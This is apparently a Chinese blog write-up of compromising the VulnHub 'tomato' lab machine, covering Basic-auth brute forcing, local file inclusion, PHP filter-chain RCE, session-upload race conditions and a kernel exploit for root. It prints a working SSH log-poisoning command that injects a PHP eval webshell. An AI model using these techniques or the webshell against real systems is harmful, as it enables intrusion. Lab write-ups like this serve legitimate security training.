vulnhub靶机tomato记录

https://www.vulnhub.com/entry/tomato-1,557/

过程

用nmap对目标主机做全端口扫描,dirb做目录扫描,结果如下:


8888端口开放一个web服务,存在Basic认证,试了爆破无果,sun-answerbook是一个在线文档系统,但不知道具体版本,测了未授权访问的历史漏洞,发现不存在。

进入antibot_image路径下,找到info.php文件,访问发现是phpinfo信息,在注释中找到了文件包含的命令。但根据phpinfo,allow_url_include是Off,不能进行远程文件包含。

Basic认证爆破

basic认证,即在请求的Header中添加一个请求头,内容为"用户名:密码"的base64的值。

爆破也容易,把payload设置为字典,添加两个预处理,第一个时添加前缀可以为用户名+冒号例如:"admin:",第二个预处理为base64编码。

SSH写日志getshell

22端口关闭,但2211端口上运行的也是ssh服务。ssh日志记录在/var/log/auth.log,例如我们使用用户名123尝试登录,登录失败后,用户名将被记录在日志中。

那么使用登录命令:ssh '<?php @eval($_POST["a"]); ?>'@192.168.6.174 -p 2211就可以将一句话木马写入该日志文件,从而getshell。

PHP过滤器无文件RCE

PHP过滤器(PHP Filter)原是PHP中验证和过滤数据的工具,例如我们可以使用php://filter/string.rot13/resource=对字符串执行ROT13转换。无文件RCE的原理是利用php过滤器中的convert.iconv.UTF8.CSISO2022KR会始终将\x1b$)C添加到待转字符串之前,而convert.base64-decode会忽略掉任何无效的base64字符串。

因此可以利用一些字符串编码的转换,对\x1b$)C进行转换,使得只有我们想要的字符在整段字符串中是"有效"的,再利用base64的编码与解码,将"无效"的删除掉。最初的博文是做了BASE64可见字符的转换表,php_filter_chain_generator在此基础上,做了更多可见字符的转换表。


SESSION_UPLOAD_PROGRESS getshell

根据phpinfo,拿到session保存的位置:/var/lib/php/sessions。且session.auto

不过这里的session.auto_start的值为Off,不会自动化初始Session。到这里我想,既然可以读到php文件了,那是否可以去找有初始化session的文件来利用呢?

很遗憾没有找到。但为了验证猜想,在获得root权限后,新写入一个test文件,这个文件什么内容都没有,只有一句session_start();

本地写一个html文件,内容为:

随便上传一个文件,主要是为了让php生成session。

设置空payload,但数量大,不断发包,维持恶意session文件的存储。此时若结合条件竞争,上传一个不死马,并不断访问,即可getshell。

提权

这个提权没什么好说的,内核提权找payload。searchsploit linux 4.4.0用的内核提权最终找到: CVE-2017-16995 (45010)。靶机上没有gcc,在kali上编译后下载到靶机上执行。gcc 45010.c -o pwn -static

总结

  1. 本地文件包含对策:SESSION_UPLOAD_PROGRESS getshell、PHP过滤器链RCE、日志写shell
  2. 利用SESSION_UPLOAD_PROGRESS写恶意session时只需要php启用session即可,不需要该文件session有意义。
相关推荐
一名优秀的码农5 天前
vulhub系列-14-Os-hackNos-1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
努力的lpp5 天前
SQLMap CTF 常用命令全集
数据库·web安全·网络安全·sql注入
努力的lpp5 天前
SQL 报错注入
数据库·sql·web安全·网络安全·sql注入
岛屿旅人6 天前
2025年中东地区网络安全态势综述
网络·安全·web安全·网络安全
努力的lpp6 天前
【ctf常用备用文件名字典】
web安全·网络安全·ctf
Mikowoo0076 天前
渗透测试_漏洞利用
网络安全
啥都想学点6 天前
pikachu靶场——Cross-Site Scripting-1(Kali系统)
网络安全
F1FJJ6 天前
基于网络隐身的内网穿透
网络协议·网络安全·go
苏天夏6 天前
Passport 插件:Typecho 密码安全的技术守护者
安全·网络安全·php
Lust Dusk6 天前
CTFHUB靶场 HTTP协议——302跳转
web安全·网络安全